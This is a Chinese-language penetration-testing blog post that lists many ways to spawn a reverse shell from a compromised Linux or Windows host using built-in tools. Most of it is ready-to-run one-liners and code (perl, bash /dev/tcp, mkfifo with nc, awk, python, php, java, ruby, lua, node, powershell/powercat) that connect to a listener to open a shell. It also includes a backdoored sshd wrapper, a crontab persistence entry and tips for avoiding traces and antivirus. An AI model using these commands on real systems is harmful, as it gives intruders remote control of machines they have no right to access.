0×01 前奏说明

很多时候,不到万不得已的情况下,我们完全没必要非往目标机器里传一堆工具,先不说由于各种防护[不仅仅是杀软的问题],传工具困难重重,有时由于自己的粗心,走的时候很容易把各种工具落在目标机器上,万一哪天被人看见,一看工具就大概知道你上来都干了啥,尤其是很多小伙伴在用别人工具时候也不爱做点儿什么手脚,后果你自然是很懂的,嘿嘿……

其实,个人一直觉得,如果能利用目标系统自身的环境或者工具帮我们搞定的,最好就直接用那个,也省去了不少的麻烦,比如,最简单的,利用目标系统中自带的各种工具及语言环境帮我们弹回一个简单的可交互shell, 有shell,’夫何求’, 没错,你肯定会说,不就一个shell嘛,我直接用 coablt strike & msf 岂不更好,嘿嘿……其实,这里并不存在争论的点,不错,它俩确实挺好,不过,恶劣的环境总是有的,有时想把它俩用上确实比较费劲,好了,前戏就到此为止吧,下面我们就直奔主题……

0×02 大致环境

win7 192.168.1.128 centos6.8 192.168.1.129 win2008R2 192.168.1.131 kali 192.168.1.147 

0×03 关于linux平台下弹shell的一些方式

利用perl的socket,也是个人比较推荐的方式,因为现今几乎所有主流的linux发行版都已经装好了perl,细心的你也许会发现很多大马里弹shell的选项中一般都会有perl,后面bash -i的意思就是执行一个可交互的shell

C:\>nc -lvp 53 # perl -e 'use Socket;$i="192.168.1.128";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' 

linux_perl.png

利用系统特殊设备文件/dev/tcp[当然,有这种特性的文件并不止这一个],语句的意思其实很简单,通俗点儿讲就是把bash的数据全部通过/dev/tcp建立的socket发过去,以此来达到反弹shell的效果

C:\>nc -lvp 80 # /bin/bash -i >& /dev/tcp/192.168.1.128/80 0>&1 

linux_dev_tcp.png

利用sshd来反弹shell,ln -f的意思就是把原有的数据清空,整体语句的意思通俗点儿讲,就是把sshd绑定在本地的8080端口上,这样当别人从8080这个端口进来的时候就相当于直接进到本机的sshd中,-o就是去掉第一次ssh连接的那个密钥对提示,像这种正向连,有个非常不好的地方,防火墙只要阻断你这个端口的数据通信就基本全废掉了

第一种方式:

# netstat -tulnp | grep "8080" # ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080; # netstat -tulnp | grep "8080" # ssh root@192.168.1.129 -p 8080 一定要注意在自己本地机器上用这个端口去连 # pkill su 

linux_sshd_shell1.pnglinux_sshd_shell2.pnglinux_sshd_shell3.png

第二种方式,注意这里的socat连接的端口,默认是13377端口[当然是可以改的],关于socat,这里就不多做介绍了,一个高级端口转发工具,当然,并不只是转发那么简单,想必小伙伴们也应该用的比较多了

# cd /usr/sbin/ # mv sshd ../bin/ # echo '#!/usr/bin/perl' >sshd # echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd # echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd # chmod u+x sshd # /etc/init.d/sshd restart # socat STDIO TCP4:192.168.1.129:22,sourceport=13377 

linux_sshd_wrapper.png

利用最古老的nc来反弹,但默认正常发行版中默认带的那个nc都是阉割版的,即没有-e选项,也就意味着你并不能直接用它反弹shell,好在强大的linux为我们提供了一个建立管道的工具mkfifo和bash本身的各种管道特性,我们就可以利这种方式,把bash的数据通过管道反弹走

普通nc反弹

C:\>nc -lvp 8080 # rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.128 8080 >/tmp/f 

linux_bash_mkfifo.png

加密版的netcat = ‘cryptcat’,可以设置连接密码,用-k指定下即可,kali默认自带,如果是目标机器,可能需要你自己手工编译装一下,实在不好意思,这个貌似忘记截图了

# cryptcat -vv -l -p 25 -k sec # cryptcat -vv -l -p 80 -k sec # cryptcat 192.168.1.129 80 -k sec|cmd.exe|cryptcat 192.168.1.129 25 -k sec 

利用awk或gawk来反弹shell,awk就不用多说了吧,linux文本处理三剑客的老大,语句的意思也非常简单,就是循环发socket

# awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

linux_awk.png

利用系统自带的telnet客户端来反弹shell,一般运维默认都会把它装上,不知道这种方式对windows是否好使,自己暂时还没测过,有兴趣的小伙伴可以测下

第一种

C:\>nc -vlp 1080 命令结果显示窗口
C:\>nc -lvp 8080 命令传输窗口 # telnet 192.168.1.128 8080 | /bin/bash | telnet 192.168.1.128 1080 

第二种

C:\>nc -lvp 8080 # mknod test p && telnet 192.168.1.128  8080 0<test | /bin/bash 1>test 

linux_telnet_two.png

linux_telnet_mknod.png

利用py反弹shell,就像perl一样,py在绝大多数发行版上都已经自带,但默认版本都是2.6.6的,不过,对我们弹个shell来说,足矣,当然啦,这里只是用最简单的py的socket来反弹一个shell,关于其它各种更高级的py reverse_shell 这里就先不说了

C:\>nc -lvp 8080 # python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.128",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 

linux_py.png

利用crontab定时反弹shell,很容被发现,临时用用还行,至于里面具体用什么反弹,随意,perl,py 都行,你愿意,用完以后记得立马删掉

C:\>nc -lvp 8080 # (crontab -l;printf "* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.128\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab - # crontab -e 

linux_sshd_croantab.png

利用php的socket来反弹,对于php的网站,也许我们可以利用上,也是很多php大马里默认的反弹shell方式,当然,除了php脚本,别的web后端脚本其实都可以被利用,比如,jsp…

C:\>nc -lvp 8080 # /usr/local/php/bin/php -r '$sock=fsockopen("192.168.1.128",8080);exec("/bin/bash -i <&3 >&3 2>&3");' 

linux_sshd_php.png

如果目标机器上有java环境,那就更好了,直接用java来弹,效果一般还是非常好的,而且java的免杀效果也很不错哦,把下面的代码打成jar包就可以了,记得打之前改下里面要反弹到的ip和端口

C:\>nc -lvp 8080 public class Revs { /**  * @param args  * @throws Exception  */ public static void main(String[] args) throws Exception { // TODO Auto-generated method stub  Runtime r = Runtime.getRuntime();  String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.128/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"};  Process p = r.exec(cmd);  p.waitFor();  } } 

利用ruby的socket来反弹shell

C:\>nc -lvp 8080 # ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.128","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 

linux_ruby_shell.png

利用lua的socket来反弹shell

c:\nc -lvp 8080
# apt-get install lua50
# apt-get install luarocks
# luarocks install luasocket
# lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.1.128','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');" 

linux_lua_shell.png

利用nodejs反弹shell

C:\>nc -lvp 8080 (function(){ var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("/bin/sh", []); var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    }); return /a/;
})(); 

利用js配合rundll32.exe 来反弹shell

JsRat 

c版的reverse_shell

C:\>nc -lvp 8080 # gcc c_revese_shell.c -o cshell # ./cshell 192.168.1.128 8080 

linux_c_shell.png

利用gcc反弹shell

抱歉,暂时还未成功,待续....

0×04 基于不同协议下的shell反弹方式

利用icmp来反弹shell,需要你自己先编译下,会生成两个文件,一个服务端[ishd],一个客户端[ish],自己有兴趣可以拿wireshark看下,通常用来穿透高层防火墙

# make linux # ./ishd -i 6555 -t 0 -p 8080 # ./ish -i 6555 -t 0 -p 8080 192.168.1.129 [这里的ip可以换成域名] 

linux_icmp_shell.png

利用udp来反弹shell

C:\>nc -l -p 53 -u 注意这里务必要用udp的模式来接
# python udpshell.py 192.168.1.128 53 udp 

linux_udp_shell.png

利用dns来反弹shell的方式,就不说了吧,详情可自行参考cobalt strike,那可能是现今最好的dns隧道学习样例

0×05 关于win平台下的一些shell反弹方式

除了上面这些可以通用的语言反弹shell之外,可能最重要的就是powershell了,当然啦,如果你说vbs更好,那我也没啥好说的了,毕竟自己平时遇到03以下的系统实在是太少了,可能以后也会越来越少,人总要向前看嘛

C:\>nc -lvp 8080 记得到脚本里面去把要反弹到的ip和端口改一下,另外,可能是因为cmd默认的字符集[gbk]所以才会乱码,如果是英文系统就不会了 # powershell –exec bypass –Command "& {Import-Module 'C:\mini-reverse.ps1'}" 同样要记得去把脚本里要反弹到的ip和端口改成你自己的,这个格式化输出写的确实不怎么好 # powershell –exec bypass –Command "& {Import-Module 'C:\minRev.ps1'}" 

linux_mini_shell.png

linux_minrev_shell.png

利用powercat来反弹shell,其实就是powershell版的netcat

首先,在本机创建好powershell版的reverse shell的payload,编码处理的还是蛮不错的
PS C:\> Set-ExecutionPolicy Unrestricted
PS C:\> cd .\powercat
PS C:\powercat> Import-Module .\powercat.ps1
PS C:\powercat> powercat -c 192.168.1.128 -p 8080 -e cmd -g >> payload.ps1
C:\>nc -lvp 8080
然后,把payload.ps1丢到目标机器上去执行 # powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}" 

linux_poewrcat_shell.png

关于nishang和其它各种powershell工具包中的各种反弹shell的方式,篇幅限制,这里就不一一说了,大家有兴趣可以去关注我的博客[klionsec.github.io],里面很久之前应该写过,可能比较粗糙,大家先将就看吧,后续我会抽空把博客好好整理一下,有点儿乱……

我知道,基于这种思路,可以衍生出来的方法还有非常非常的多,有兴趣大家可以一起研究,不可否认的是,虽然只是一个shell,但中间涉及到的东西依然是很值得学习的

0×06 一些小结

反弹的核心说白点其实就是和目标系统建立socket(如果中间[不管是正向还是反向]端口被防火墙阻断了,那你可能就只能选择复用或者直接走更底层的协议了,还是那句话,只是一个shell而已,方法已经有了,怎么在实战中按照自己的需求改进,可能才是你更需要思考的,我们都看到了,反弹的时候,进程会一直处于挂起状态,实际中放到后台跑就好了,另外,说实话,像这种基于tcp的shell,瞟一眼就发现了,最多可能只能在实际渗透中临时用用……,相信我们最终想要的,还是基于这个出来的思路,而不是这些死技巧,自己平时确实很少发文章,主要目的还是想多跟大家一起学习交流进步,  bon soir !

*本文作者:二楼日记